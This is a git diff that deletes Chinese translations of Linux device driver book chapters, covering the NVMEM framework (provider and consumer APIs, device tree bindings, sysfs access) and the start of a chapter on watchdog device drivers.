设备驱动,从设备表填充到模块的`exit`方法。 我们更深入地研究了中断机制及其基本行为,以及它们之间的差异。 现在您可以自己编写 PCI 设备驱动了,并且熟悉了它们的枚举过程。 此外,您了解它们的中断机制,并了解它们之间的差异(MSI 或非 MSI)。 最后,您了解了如何访问它们各自的内存区域。 - -在下一章中,我们将讨论 NVMEM 框架,它有助于为 EEPROM 等非易失性存储设备开发驱动。 这将有助于结束我们到目前为止在学习 PCI 设备驱动时所经历的复杂性。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/12.md b/docs/master-linux-device-driver-dev/12.md deleted file mode 100644 index 074bf9c9..00000000 --- a/docs/master-linux-device-driver-dev/12.md +++ /dev/null @@ -1,397 +0,0 @@ -# 十二、利用 NVMEM 框架 - -**NVMEM**(**非易失性存储器**)框架是处理非易失性存储(如 EEPROM、eFuse 等)的核心层。 这些设备的驱动过去存储在`drivers/misc/`中,大多数时候,每个驱动都必须实现自己的 API 来处理相同的功能,要么是针对内核用户,要么是为了将其内容公开给用户空间。 事实证明,这些驱动严重缺乏抽象代码。 此外,内核中对这些设备数量的支持不断增加,导致了大量的代码重复。 - -在内核中引入该框架旨在解决上述问题。 它还为消费类设备引入了 DT 表示,以便从 NVMEM 获取它们所需的数据(MAC 地址、SoC/修订 ID、部件号等)。 本章首先介绍 NVMEM 数据结构,这些数据结构是遍历框架所必需的,然后我们将查看 NVMEM 提供程序驱动,从中我们将了解如何向消费者公开 NVMEM 内存区域。 最后,我们将了解 NVMEM 消费者驱动因素,以利用提供商公开的内容。 - -在本章中,我们将介绍以下主题: - -* 介绍 NVMEM 数据结构和 API -* 编写 NVMEM 提供程序驱动 -* NVMEM 消费者驱动 API - -# 技术要求 - -以下是本章的前提条件: - -* C 语言编程技巧 -* 内核编程和设备驱动开发技能 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# NVMEM 数据结构和 API 简介 - -NVMEM 是一个减少了 API 和数据结构集的小型框架。 在本节中,我们将介绍这些 API 和数据结构,以及作为此框架的基础的**单元**的概念。 - -NVMEM 基于生产者/消费者模式,就像[*第 4 章*](04.html#_idTextAnchor047),*冲击公共时钟框架*中描述的时钟框架。 NVMEM 设备只有一个驱动,公开设备单元,以便消费者驱动可以访问和操作它们。 虽然 NVMEM 设备驱动必须包含``,但消费者必须包含``。 该框架只有几个数据结构,其中包括`struct nvmem_device`,如下所示: - -```sh -struct nvmem_device { -    const char  *name; -    struct module *owner; -    struct device dev; -    int stride; -    int word_size; -    int id; -    int users; -    size_t size; -    bool read_only; -    int flags; -    nvmem_reg_read_t reg_read; -    nvmem_reg_write_t reg_write; void *priv; -    [...] -}; -``` - -这个结构实际上抽象了真实的 NVMEM 硬件。 它是在设备注册时由框架创建并填充的。 也就是说,它的字段实际上是用`struct nvmem_config`中的字段的完整副本设置的,如下所述: - -```sh -struct nvmem_config { -    struct device *dev; -    const char *name; -    int id; -    struct module *owner; -    const struct nvmem_cell_info *cells; -    int ncells; -    bool read_only; -    bool root_only; -    nvmem_reg_read_t reg_read;     nvmem_reg_write_t reg_write; -    int size; -    int word_size; -    int stride; -    void *priv; -    [...] -}; -``` - -此结构是 NVMEM 设备的运行时配置,提供有关该设备的信息或访问其数据单元的助手函数。 在设备注册时,其大部分字段用于填充新创建的`nvmem_device`结构。 - -结构中字段的含义如下所示(知道这些字段用于构建底层`struct nvmem_device`): - -* `dev`是父设备。 -* `name`是此 NVMEM 设备的可选名称。 它与填充的`id`一起使用,以构建完整的设备名称。 最终的 NVMEM 设备名称将为``。 最好在名称中附加`-`,这样全名就可以有这样的模式:`-`。 这就是 PCF85363 驱动中使用的。 如果省略,将使用`nvmem`作为默认名称。 -* `id`是此 NVMEM 设备的可选 ID。 如果`name`为`NULL`,则忽略它。 如果设置为`-1`,内核将负责为设备提供唯一 ID。 -* `owner`是拥有此 NVMEM 设备的模块。 -* `cells`是预定义的 NVMEM 单元数组。 这是可选的。 -* `ncells`是单元格中元素的数量。 -* `read_only`将此设备标记为只读。 -* `root_only`指示此设备是否只能由根用户访问。 -* `reg_read`和`reg_write`分别是框架用来读写数据的底层回调。 它们的定义如下: - - ```sh - typedef int (*nvmem_reg_read_t)(void *priv,                                 unsigned int offset, -                                 void *val, size_t bytes); - typedef int (*nvmem_reg_write_t)(void *priv,                                  unsigned int offset, -                                  void *val,                                  size_t bytes); - ``` - -* `size`表示设备的大小。 -* `word_size`是此设备的最小读/写访问粒度。 `stride`是最小的读/写访问跨度。 它的原理已经在前面的章节中解释过了。 -* `priv`是传递给读/写回调的上下文数据。 例如,它可能是一个更大的结构,包裹着这个 NVMEM 设备。 - -以前,我们使用术语**数据单元格**。 数据单元表示 NVMEM 器件中的存储区(或数据区)。 这也可能是设备的全部内存。 实际上,数据单元格将分配给消费者驱动。 这些内存区域由框架使用两种不同的数据结构维护,具体取决于我们是在消费者端还是在提供者端。 这些是提供者的`struct nvmem_cell_info`结构和消费者的`struct nvmem_cell`结构。 在 NVMEM 核心代码中,内核使用`nvmem_cell_info_to_nvmem_cell()`从前一个结构切换到第二个结构。 - -这些结构介绍如下: - -```sh -struct nvmem_cell { -    const char *name; -    int offset; -    int bytes; -    int bit_offset; -    int nbits; -    struct nvmem_device *nvmem; -    struct list_head node; -}; -``` - -另一个数据结构,即`struct nvmem_cell`,如下所示: - -```sh -struct nvmem_cell_info { -    const char *name; -    unsigned int offset; -    unsigned int bytes; -    unsigned int bit_offset; -    unsigned int nbits; -}; -``` - -如您所见,前面的两个数据结构共享几乎相同的属性。 让我们来看看它们的含义,如下所示: - -* `name`是单元格的名称。 -* `offset`是单元相对于整个硬件数据寄存器的偏移量(起始位置)。 -* `bytes`是从`offset`开始的数据单元格的大小(以字节为单位)。 -* 信元可以具有位级粒度。 对于这些单元,应设置`bit_offset`以指定单元内的位偏移量,并应根据感兴趣区域的大小(以位为单位)定义`nbits`。 -* `nvmem`是此单元所属的 NVMEM 设备。 -* `node`用于在整个系统范围内跟踪小区。 此字段最终显示在`nvmem_cells`列表中,该列表包含系统上所有可用的单元,而不管它们属于哪种 NVMEM 设备。 该全局列表实际上受互斥锁`nvmem_cells_mutex`保护,两者都是在`drivers/nvmem/core.c`中静态定义的。 - -为了阐明前面的解释,让我们以具有以下配置的单元格为例: - -```sh -static struct nvmem_cellinfo mycell = { -    .offset = 0xc, -    .bytes = 0x1, -    [...], -} -``` - -在前面的示例中,如果我们认为`.nbits`和`.bit_offset`都等于`0`,这意味着我们对单元格的整个数据区域感兴趣,在我们的例子中是 1 字节大小。 但是,如果我们只对第 2 到 4 位(实际上是 3 位)感兴趣呢? 结构将如下所示: - -```sh -staic struct nvmem_cellinfo mycell = { -    .offset = 0xc, -    .bytes = 0x1, -    .bit_offset = 2, -    .nbits = 2 [...] -} -``` - -重要音符 - -前面的例子仅用于教学目的。 尽管您可以在驱动代码中预定义单元,但建议您依赖设备树来声明单元,准确地说,我们将在本章后面的*NVMEM 提供程序的设备树绑定*部分中看到这一点。 - -使用者和提供者驱动都不应创建`struct nvmem_cell`的实例。 当生产者提供单元信息的数组时,或者当消费者请求单元时,NVMEM 核心在内部处理这一问题。 - -到目前为止,我们已经了解了该框架提供的数据结构和 API。 但是,可以从内核或用户空间访问 NVMEM 设备。 此外,在内核中,为了让其他驱动访问设备存储,必须有一个公开设备存储的驱动。 这是生产者/消费者设计,其中提供者驱动是生产者,另一个驱动是消费者。 现在,让我们从这个框架的提供者(也就是生产者)开始。 - -# 编写 NVMEM 提供程序驱动 - -提供者是公开设备内存的提供者,以便其他驱动(使用者)可以访问它。 这些驱动的主要任务如下: - -* 提供关于设备数据表的适当 NVMEM 配置,以及允许您访问内存的例程 -* 在系统中注册设备 -* 提供设备树绑定文档 - -这就是提供者要做的全部事情。 机制/逻辑的大部分(其余)由 NVMEM Fra 框架的代码处理。 - -## NVMEM 设备(取消)注册 - -注册/注销 NVMEM 设备实际上是提供程序端驱动的一部分,它可以使用`nvmem_register()`/`nvmem_unregister()`函数或其托管版本`devm_nvmem_register()`/`devm_nvmem_unregister()`: - -```sh -struct nvmem_device *nvmem_register(const                                    struct nvmem_config *config) -struct nvmem_device *devm_nvmem_register(struct device *dev, -                             const struct nvmem_config *config) -int nvmem_unregister(struct nvmem_device *nvmem) -int devm_nvmem_unregister(struct device *dev, -                          struct nvmem_device *nvmem) -``` - -注册后,将创建`/sys/bus/nvmem/devices/dev-name/nvmem`二进制条目。 在这些接口中,`*config`参数是描述必须创建的 NVMEM 设备的 NVMEM 配置。 `*dev`参数仅适用于托管版本,表示使用 NVMEM 设备的设备。 在成功路径上,这些函数返回指向`nvmem_device`的指针,否则在出错时返回`ERR_PTR()`。 - -另一方面,注销函数接受指向在注册函数的成功路径上创建的 NVMEM 设备的指针。 它们在成功取消注册时返回`0`,否则返回负的错误。 - -### RTC 设备中的 NVMEM 存储 - -存在嵌入非易失性存储的许多**实时时钟**(**rtc**)设备。 这种嵌入式存储器可以是 EEPROM 或电池后备 RAM。 查看`include/linux/rtc.h`中的 RTC 设备数据结构,您会注意到有一些与 NVMEM 相关的字段,如下所示: - -```sh -struct rtc_device { -    [...] -    struct nvmem_device *nvmem; -    /* Old ABI support */ -    bool nvram_old_abi; -    struct bin_attribute *nvram; -    [...] -} -``` - -请注意前面结构摘录中的以下内容: - -* `nvmem`抽象底层硬件内存。 -* `nvram_old_abi`是一个布尔值,它告诉是否使用旧的(现已弃用)NVRAM ABI 注册此 RTC 的 NVMEM,该 NVRAM ABI 使用`/sys/class/rtc/rtcx/device/nvram`公开内存。 仅当您有使用此旧 ABI 界面的现有应用(您不想中断)时,此字段才应设置为`true`。 新司机不应设置此设置。 -* `nvram`实际上是底层内存的二进制属性,RTC 框架仅用于旧的 ABI 支持;也就是说,如果`nvram_old_abi`为`true`。 - -可以通过`RTC_NVMEM`内核配置选项启用与 RTC 相关的 NVMEM 框架 API。 此接口在`drivers/rtc/nvmem.c`中定义,分别公开`rtc_nvmem_register()`和`rtc_nvmem_unregister()`,用于 RTC-NVMEM 注册和取消注册。 具体内容如下: - -```sh -int rtc_nvmem_register(struct rtc_device *rtc, -                        struct nvmem_config *nvmem_config) -void rtc_nvmem_unregister(struct rtc_device *rtc) -``` - -`rtc_nvmem_register()`成功时返回`0`。 它接受有效的 RTC 设备作为其第一个参数。 这会对代码产生影响。 这意味着 RTC 的 NVMEM 应仅在实际 RTC 设备成功注册后注册。 换句话说,只有在`rtc_register_device()`成功之后才会调用`rtc_nvmem_register()`。 第二个参数应该是指向有效`nvmem_config`对象的指针。 此外,正如我们已经看到的,此配置可以在堆栈中声明,因为它的所有字段都被完全复制以构建`nvmem_device`结构。 相反的是`rtc_nvmem_unregister()`,它取消注册 NVMEM。 - -让我们用 DS1307 RTC 驱动`drivers/rtc/rtc-ds1307.c`的`probe`函数的摘录来总结一下: - -```sh -static int ds1307_probe(struct i2c_client *client, -                        const struct i2c_device_id *id) -{ -    struct ds1307 *ds1307; -    int err = -ENODEV; -    int tmp; -    const struct chip_desc *chip; -    [...] -    ds1307->rtc->ops = chip->rtc_ops ?: &ds13xx_rtc_ops; -    err = rtc_register_device(ds1307->rtc); -    if (err) -        return err; -    if (chip->nvram_size) { -        struct nvmem_config nvmem_cfg = { -            .name = "ds1307_nvram", -            .word_size = 1, -            .stride = 1, -            .size = chip->nvram_size, -            .reg_read = ds1307_nvram_read, -            .reg_write = ds1307_nvram_write, -            .priv = ds1307, -        }; -        ds1307->rtc->nvram_old_abi = true; -        rtc_nvmem_register(ds1307->rtc, &nvmem_cfg); -    } -    [...] -} -``` - -前面的代码在注册 NVMEM 设备之前首先向内核注册 RTC,提供与 RTC 的存储空间相对应的 NVMEM 配置。 前面的代码是与 RTC 相关的,不是泛型的。 其他 NVMEM 设备必须让其驱动公开回调,NVMEM 框架将从用户空间或内核内部将任何读/写请求转发到回调。 下一节将解释如何做到这一点。 - -## 实现 NVMEM 读写回调 - -为了使内核和其他框架能够从/向 NVMEM 设备及其单元读/写数据,每个 NVMEM 提供程序必须公开几个允许这些读/写操作的回调。 该机制允许独立于硬件的使用者代码,因此来自使用者端的任何读/写请求都被重定向到底层提供者的读/写回调。 以下是每个提供程序必须遵守的读/写原型: - -```sh -typedef int (*nvmem_reg_read_t)(void *priv,                                 unsigned int offset, -                                void *val, size_t bytes); -typedef int (*nvmem_reg_write_t)(void *priv,                                  unsigned int offset, -                                 void *val, size_t bytes); -``` - -它们独立于 NVMEM 设备所在的底层总线。 `nvmem_reg_read_t`用于从 NVMEM 设备读取数据。 `priv`是 NVMEM 配置中提供的用户上下文,`offset`是读取的开始位置,`val`是必须存储读取数据的输出缓冲区,`bytes`是要读取的数据的大小(实际上是字节数)。 此函数应在成功时返回成功读取的字节数,在出错时返回负错误代码。 - -另一方面,`nvmem_reg_write_t`用于书写。 `priv`的含义与读取相同,`offset`是写入应开始的位置,`val`是包含要写入的数据的缓冲区,`bytes`是`val`中应写入的数据的字节数。 `bytes`不一定是`val`的大小。 这个有趣的部分应该在成功时返回成功写入的字节数,在出错时返回负的错误代码。 - -现在我们已经了解了如何实现提供程序读/写回调,让我们看看如何使用设备树扩展提供程序功能。 - -## NVMEM 提供程序的设备树绑定 - -NVMEM 数据提供程序没有任何特别的绑定。 应该相对于其父总线 DT 绑定来描述 IT。 这意味着,例如,如果它是 I2C 设备,则应该(相对于 I2C 绑定)将其描述为代表其后面的 I2C 总线的节点的子节点。 但是,有一个可选的`read-only`属性使设备成为只读。 此外,每个子节点将被视为一个数据单元(NVMEM 设备中的存储区域)。 - -让我们考虑以下 MMIO NVMEM 设备及其子节点进行说明: - -```sh -ocotp: ocotp@21bc000 { -    #address-cells = <1>; -    #size-cells = <1>; -    compatible = "fsl,imx6sx-ocotp", "syscon"; -    reg = <0x021bc000 0x4000>; -    [...] -    tempmon_calib: calib@38 { -        reg = <0x38 4>; -    }; -    tempmon_temp_grade: temp-grade@20 { -        reg = <0x20 4>; -    }; -    foo: foo@6 { -        reg = <0x6 0x2> bits = <7 2> -    }; -    [...] -}; -``` - -根据子节点中定义的属性,NVMEM 框架构建适当的`nvmem_cell`结构,并将它们插入到系统范围的`nvmem_cells`列表中。 以下是数据单元格绑定的可能属性: - -* `reg`:此属性是必需的。 它是一个双单元属性,以字节为单位描述 NVMEM 设备内数据区域的偏移量(该属性的第一个单元)和以字节为单位的大小(该属性的第二个单元)。 -* `bits`:这是一个可选的两个单元格的属性,它以位为单位指定偏移量(从`0`到`7`的可能值)和`reg`属性指定的地址范围内的位数。 - -在提供者节点中定义了数据单元格之后,可以使用`nvmem-cells`属性将这些数据单元格分配给使用者,该属性是 NVMEM 提供者的 phandle 列表。 此外,还应该有一个`nvmem-cell-names`属性,它的主要用途是命名每个数据单元格。 因此,这个分配的名称可以用来使用使用者 API 查找适当的数据单元格。 以下是一个分配示例: - -```sh -tempmon: tempmon { -    compatible = "fsl,imx6sx-tempmon", "fsl,imx6q-tempmon"; -    interrupt-parent = <&gpc>; -    interrupts = ; -    fsl,tempmon = <&anatop>; -    clocks = <&clks IMX6SX_CLK_PLL3_USB_OTG>; -    nvmem-cells = <&tempmon_calib>, <&tempmon_temp_grade>; -    nvmem-cell-names = "calib", "temp_grade"; -}; -``` - -在`Documentation/devicetree/bindings/nvmem/nvmem.txt`中提供了完整的 NVMEM 设备树绑定。 - -我们刚刚遇到了驱动(所谓的生产者)的实现,它们公开了 NVMEM 设备的存储。 虽然情况并不总是如此,但内核中可能还有其他驱动需要访问生产者(也就是提供者)公开的存储。 下一节将详细描述这些驱动。 - -# NVMEM 消费者驱动 API - -NVMEM 消费者是访问生产者公开的存储的驱动。 这些驱动可以通过包含``来拉入 NVMEM 消费者 API,这将引入以下基于单元的 API: - -```sh -struct nvmem_cell *nvmem_cell_get(struct device *dev, -                                  const char *name); -struct nvmem_cell *devm_nvmem_cell_get(struct device *dev, -                                       const char *name); -void nvmem_cell_put(struct nvmem_cell *cell); -void devm_nvmem_cell_put(struct device *dev, -                         struct nvmem_cell *cell); -void *nvmem_cell_read(struct nvmem_cell *cell, size_t *len); -int nvmem_cell_write(struct nvmem_cell *cell,                      void *buf, size_t len); -int nvmem_cell_read_u32(struct device *dev,                         const char *cell_id, -                        u32 *val); -``` - -以`devm_`前缀的 API 是资源管理版本,将在任何可能的情况下使用。 - -也就是说,消费者接口完全依赖于生产者公开(部分)其单元以便其他人可以访问它们的能力。 如前所述,这种提供/暴露单元的能力应该通过设备树来实现。 `devm_nvmem_cell_get()`用于获取与通过`nvmem-cell-names`属性分配的名称相关的给定单元格。 如果可能,`nvmem_cell_read`API 总是读取整个单元格大小(即`nvmem_cell->bytes`)。 它的第三个参数`len`是一个输出参数,它保存正在读取的`nvmem_config.word_size`的实际数量(实际上,它大部分时间保存`1`,这意味着一个字节)。 - -在成功读取时,`len`指向的内容将等于单元格中的字节数:`*len = nvmem_cell->bytes`。 另一方面,`nvmem_cell_read_u32()`将单元格值读取为`u32`。 - -下面的代码抓取分配给上一节描述的`tempmon`节点的单元格,并读取它们的内容: - -```sh -static int imx_init_from_nvmem_cells(struct                                      platform_device *pdev) -{ -    int ret; u32 val; -    ret = nvmem_cell_read_u32(&pdev->dev, "calib", &val); -    if (ret) -        return ret; -    ret = imx_init_calib(pdev, val); -    if (ret) -        return ret; -    ret = nvmem_cell_read_u32(&pdev->dev, "temp_grade", &val); -    if (ret) -        return ret; -    imx_init_temp_grade(pdev, val); -    return 0; -} -``` - -在这里,我们已经了解了这个框架的消费者和生产者两个方面。 通常,驱动需要向用户空间公开他们的服务。 NVMEM 框架(就像其他 Linux 内核框架一样)可以透明地处理向用户空间公开 NVMEM 服务。 下一节将详细说明这一点。 - -## 用户空间中的 NVMEM - -与大多数内核框架一样,NVMEM 用户空间界面依赖于`sysfs`。 在系统中注册的每个 NVMEM 设备都有一个在`/sys/bus/nvmem/devices`中创建的目录项,以及在该目录中创建的一个`nvmem`二进制文件(您可以在该文件上使用`hexdump`甚至`echo`),该文件表示设备的内存。 完整路径的模式如下:`/sys/bus/nvmem/devices/X/nvmem`。 在此路径模式中,``是生产者驱动提供的`nvmem_config.name`名称。 以下代码摘录显示了 NVMEM 核心如何构造`X`模式: - -```sh -int rval; -rval = ida_simple_get(&nvmem_ida, 0, 0, GFP_KERNEL); -nvmem->id = rval; -if (config->id == -1 && config->name) { -    dev_set_name(&nvmem->dev, "%s", config->name); -} else { -    dev_set_name(&nvmem->dev, "%s%d", config->name ? : "nvmem", -    config->name ? config->id : nvmem->id); -} -``` - -前面的代码说明如果`nvmem_config->id == -1`,则省略模式中的`X`,并且只使用`nvmem_config->name`来命名`sysfs`目录项。 如果设置了`nvmem_config->id != -1`和`nvmem_config->name`,它将与驱动设置的`nvmem_config->id`字段(在图案中为`X`)一起使用。 但是,如果驱动未设置`nvmem_config->name`,则内核将使用`nvmem`字符串和已生成的 ID(在模式中为`X`)。 - -重要音符 - -无论定义什么单元,NVMEM 框架都会通过 NVMEM 二进制文件(而不是单元)公开整个寄存器空间。 从用户空间访问单元格需要事先知道它们的偏移量和大小。 - -然后,可以使用`hexdump`或简单的`cat`命令在用户空间中读取 NVMEM 内容,这要归功于`sysfs`界面。 例如,假设我们有一个 I2C EEPROM,位于地址 0x55 的 I2C 编号 2 上,并在系统上注册为 NVMEM 设备,则其`sysfs`路径为`/sys/bus/nvmem/devices/2-00550/nvmem`。 以下是您如何写/读一些内容: - -```sh -cat /sys/bus/nvmem/devices/2-00550/nvmem -echo "foo" > /sys/bus/nvmem/devices/2-00550/nvmem -cat /sys/bus/nvmem/devices/2-00550/nvmem -``` - -现在我们已经看到了 NVMEM 寄存器是如何向用户空间公开的。 虽然这一节很短,但我们已经涵盖了足够多的内容,足以从用户空间利用这个框架。 - -# 摘要 - -在本章中,我们介绍了 NVMEM 框架在 Linux 内核中的实现。 我们从生产者端和消费者端介绍了它的 API,并讨论了如何从用户空间使用它。 我毫不怀疑这些设备在嵌入式世界中占有一席之地。 - -在下一章中,我们将通过看门狗设备来解决可靠性问题,讨论如何设置这些设备并编写它们的 Linux 内核驱动。 \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/13.md b/docs/master-linux-device-driver-dev/13.md deleted file mode 100644 index d6cca615..00000000 --- a/docs/master-linux-device-driver-dev/13.md +++ /dev/null @@ -1,494 +0,0 @@ -# 十三、看门狗设备驱动 - -看门狗是一种硬件(有时由软件模拟)设备,旨在确保给定系统的可用性。 它有助于确保系统始终在关键挂起时重新启动,从而允许监视系统的“正常”行为。 - -无论它是基于硬件的,还是由软件模拟的,大多数情况下,看门狗只是一个用合理的超时初始化的计时器,应该由运行在被监控系统上的软件定期刷新。 如果由于任何原因,软件在计时器到期(运行到超时)之前停止/失败刷新计时器(并且没有显式关闭它),这将触发整个系统(在我们的例子中是计算机)的(硬件)重置。 这样的机制甚至可以帮助从内核恐慌中恢复。 在本章结束时,您将能够执行以下操作: - -* 阅读/理解现有的 Watchdog 内核驱动,并使用它在用户空间中公开的内容。 -* 编写新的看门狗设备驱动。 -* 掌握一些不太熟悉的概念,如*看门狗调控器*和*预超时*。 - -在本章中,我们还将通过以下主题介绍 Linux 内核监视器子系统背后的概念: - -* 看门狗数据结构和 API -* 看门狗用户空间接口 - -# 技术要求 - -在我们开始阅读本章之前,需要具备以下要素: - -* C 语言编程技巧 -* 基本的电子知识 -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 看门狗数据结构和 API - -在本节中,我们将介绍 Watchdog 框架,并了解它是如何在幕后工作的。 看门狗子系统有几个数据结构。 主要参数是`struct watchdog_device`,它是看门狗设备的 Linux 内核表示,包含有关它的所有信息。 在`include/linux/watchdog.h`中定义如下: - -```sh -struct watchdog_device { -    int id; -    struct device *parent; -    const struct watchdog_info *info; -    const struct watchdog_ops *ops; -    const struct watchdog_governor *gov; -    unsigned int bootstatus; -    unsigned int timeout; -    unsigned int pretimeout; -    unsigned int min_timeout; -    struct watchdog_core_data *wd_data; -    unsigned long status; -    [...] -}; -``` - -以下是对此数据结构中字段的说明: - -* `id`:设备注册期间内核分配的看门狗 ID。 -* `parent`:表示此设备的父级。 -* `info`:此`struct watchdog_info`结构指针提供有关看门狗计时器本身的一些附加信息。 这是在看门狗充电设备上调用`WDIOC_GETSUPPORT`ioctl 以检索其功能时返回给用户的结构。 我们稍后将详细介绍此结构。 -* `ops`:指向看门狗操作列表的指针。 我们稍后将再次介绍此数据结构。 -* `gov`:指向看门狗预超时调控器的指针。 调控器只不过是根据特定事件或系统参数做出反应的策略管理器。 -* `bootstatus`:启动时看门狗设备的状态。 这是触发系统重置的原因的位掩码。 稍后在描述`struct watchdog_info`结构时将列举可能的值。 -* `timeout`:这是看门狗设备的超时值(秒)。 -* `pretimeout`: The concept of *pretimeout* can be explained as an event that occurs sometime before the real timeout occurs, so if the system is in an unhealthy state, it triggers an interrupt before the real timeout reset. These interrupts are usually non-maskable ones (**NMI**, which stands for **Non-Maskable Interrupt**), and this can be used to secure important data and shut down specific applications or panic the system (which allows us to gather useful information prior to the reset, instead of a blind and sudden reboot). - - 在此上下文中,`pretimeout`字段实际上是触发实际超时中断之前的时间间隔(秒数)。 这不是距离预超时的秒数。 例如,如果将超时设置为`60`秒,将预超时值设置为`10`秒,则会在`50`秒内触发预超时事件。 将预超时值设置为`0`会禁用它。 - -* `min_timeout`和`max_timeout`分别是看门狗设备的最小和最大超时值(以秒为单位)。 这些实际上是有效超时范围的上下限。 如果值为 0,则框架将检查看门狗驱动本身。 -* `wd_data`:指向看门狗核心内部数据的指针。 此字段必须通过`watchdog_set_drvdata()`和`watchdog_get_drvdata()`帮助器访问。 -* `status` is a field that contains the device's internal status bits. Possible values are listed here: - - --`WDOG_ACTIVE`:指示看门狗是否正在运行/活动。 - - --`WDOG_NO_WAY_OUT`:通知是否设置了`nowayout`功能。 您可以使用`watchdog_set_nowayout()`设置`nowayout`功能;其签名为`void watchdog_set_nowayout(struct watchdog_device *wdd, bool nowayout)`。 - - --`WDOG_STOP_ON_REBOOT`:重启时应停止。 - - --`WDOG_HW_RUNNING`:通知硬件看门狗正在运行。 您可以使用`watchdog_hw_running()`帮助器检查是否设置了此标志。 但是,您应该在看门狗的启动功能的成功路径上设置此标志(如果出于任何原因在那里启动或发现看门狗已经启动,则在探测功能中设置此标志)。 为此,您可以使用`set_bit()`帮助器。 - - --`WDOG_STOP_ON_UNREGISTER`:指定取消注册时应停止监视器。 您可以使用`watchdog_stop_on_unregister()`帮助器来设置此标志。 - -正如我们前面介绍的那样,让我们详细研究在`include/uapi/linux/watchdog.h`中定义的`struct watchdog_info`结构,因为它实际上是用户空间 API 的一部分: - -```sh -struct watchdog_info { -    u32 options; -    u32 firmware_version; -    u8 identity[32]; -}; -``` - -此结构也是在`WDIOC_GETSUPPORT`ioctl 的成功路径上返回到用户空间的结构。 在此结构中,字段具有以下含义: - -* `options` represents the supported capabilities of the card/driver. It is a bitmask of the capabilities supported by the watchdog device/driver since some watchdog cards offer more than just a countdown. Some of these flags may also be set in the `watchdog_device.bootstatus` field in response to the `GET_BOOT_STATUS` ioctl. These flags are listed as follows, with dual explanations given where necessary: - - --`WDIOF_SETTIMEOUT`表示可以设置看门狗设备的超时。 如果设置了此标志,则必须定义`set_timeout`回调。 - - --`WDIOF_MAGICCLOSE`表示驱动支持魔术关闭字符功能。 由于关闭看门狗字符设备文件不会停止看门狗,此功能意味着在此看门狗文件中写入*V*字符(也称为魔术字符或魔术*V*)序列将允许下一次关闭以关闭看门狗(如果未设置`nowayout`)。 - - --`WDIOF_POWERUNDER`表示设备可以监控/检测坏电源或电源故障。 当在`watchdog_device.bootstatus`中设置时,该标志表示触发复位的是机器显示欠压这一事实。 - - --`WDIOF_POWEROVER`,另一方面,意味着设备可以监控工作电压。 在`watchdog_device.bootstatus`中设置时,表示系统复位可能是由于过电压状态。 请注意,如果一个电平在下,一个电平在上,则两个位都将被设置。 - - --`WDIOF_OVERHEAT`表示看门狗设备可以监控芯片/SoC 温度。 在`watchdog_device.bootstatus`中设置时,表示上次通过看门狗重新启动机器的原因是由于超过了热限制。 - - --`WDIOF_FANFAULT`通知我们此看门狗设备可以监控风扇。 设置时,表示看门狗卡监控的系统风扇出现故障。 - - 有些设备甚至都有单独的事件输入。 如果定义,这些输入上的电信号为,这也会导致复位。 这就是`WDIOF_EXTERN1`和`WDIOF_EXTERN2`的目的。 在`watchdog_device.bootstatus`中设置时,表示机器最后一次重启是因为外部继电器/源 1 或 2。 - - --`WDIOF_PRETIMEOUT`表示该看门狗设备支持预超时功能。 - - --`WDIOF_KEEPALIVEPING`表示该驱动支持`WDIOC_KEEPALIVE`ioctl(可以通过 ioctl ping);否则,ioctl 将返回`-EOPNOTSUPP`。 在`watchdog_device.bootstatus`中设置时,此标志表示看门狗自上次查询以来看到了保持活动状态的 ping。 - - --`WDIOF_CARDRESET`:这是一个特殊标志,只能出现在`watchdog_device.bootstatus`中。 这意味着上一次重启是由看门狗本身引起的(实际上是它的超时)。 - -* `firmware_version`是卡的固件版本。 -* `identity`应该是描述设备的字符串。 - -另一种数据结构是`struct watchdog_ops`,其定义如下: - -```sh -struct watchdog_ops { struct module *owner; -    /* mandatory operations */ -    int (*start)(struct watchdog_device *); -    int (*stop)(struct watchdog_device *); -    /* optional operations */ -    int (*ping)(struct watchdog_device *); -    unsigned int (*status)(struct watchdog_device *); -    int (*set_timeout)(struct watchdog_device *, unsigned int); -    int (*set_pretimeout)(struct watchdog_device *,                           unsigned int); -    unsigned int (*get_timeleft)(struct watchdog_device *); -    int (*restart)(struct watchdog_device *,                    unsigned long, void *); -    long (*ioctl)(struct watchdog_device *, unsigned int, -                  unsigned long); -}; -``` - -前面的结构包含看门狗设备上允许的操作列表。 每个操作的含义如下所示: - -* `start`和`stop`:这些是分别启动和停止看门狗的强制操作。 -* `ping`回调用于向看门狗发送保活 ping。 此方法是可选的。 如果未定义,则看门狗将通过`.start`操作重新启动,因为这将意味着看门狗没有自己的 ping 方法。 -* `status`是返回看门狗设备状态的可选例程。 如果定义,它的返回值将被发送以响应`WDIOC_GETBOOTSTATUS`ioctl。 -* `set_timeout`是设置看门狗超时值的回调(以秒为单位)。 如果已定义,还应设置`X`选项标志;否则,任何设置超时的尝试都将导致`-EOPNOTSUPP`错误。 -* `set_pretimeout`是设置预超时的回调。 如果已定义,还应设置`WDIOF_PRETIMEOUT`选项标志;否则,任何设置预超时的尝试都将导致`-EOPNOTSUPP`错误。 -* `get_timeleft`是一个可选操作,返回重置前的剩余秒数。 -* `restart`:这实际上是重启机器(不是看门狗设备)的例程。 如果设置,您可能想要在看门狗设备上调用`watchdog_set_restart_priority()`,以便在向系统注册看门狗之前设置此重启处理程序的优先级。 -* `ioctl`:您不应该实现此回调,除非您必须这样做-例如,如果您需要处理额外的/非标准的 ioctl 命令。 如果已定义,此方法将覆盖看门狗内核的默认 ioctl,除非它返回`-ENOIOCTLCMD`。 - -此结构包含设备根据其功能支持的回调函数。 - -现在我们已经熟悉了数据结构,我们可以切换到 Watchdog API,特别是看看如何在系统中注册和取消注册这样的设备 w。 - -## 注册/注销看门狗设备 - -看门狗框架提供两个基本功能,用于向系统注册/注销看门狗设备。 这些是`watchdog_register_device()`和`watchdog_unregister_device()`,它们各自的原型如下所示: - -```sh -int watchdog_register_device(struct watchdog_device *wdd) -void watchdog_unregister_device(struct watchdog_device *wdd) -``` - -前面的注册方法在成功路径上返回 0,在失败时返回负的*errno*代码。 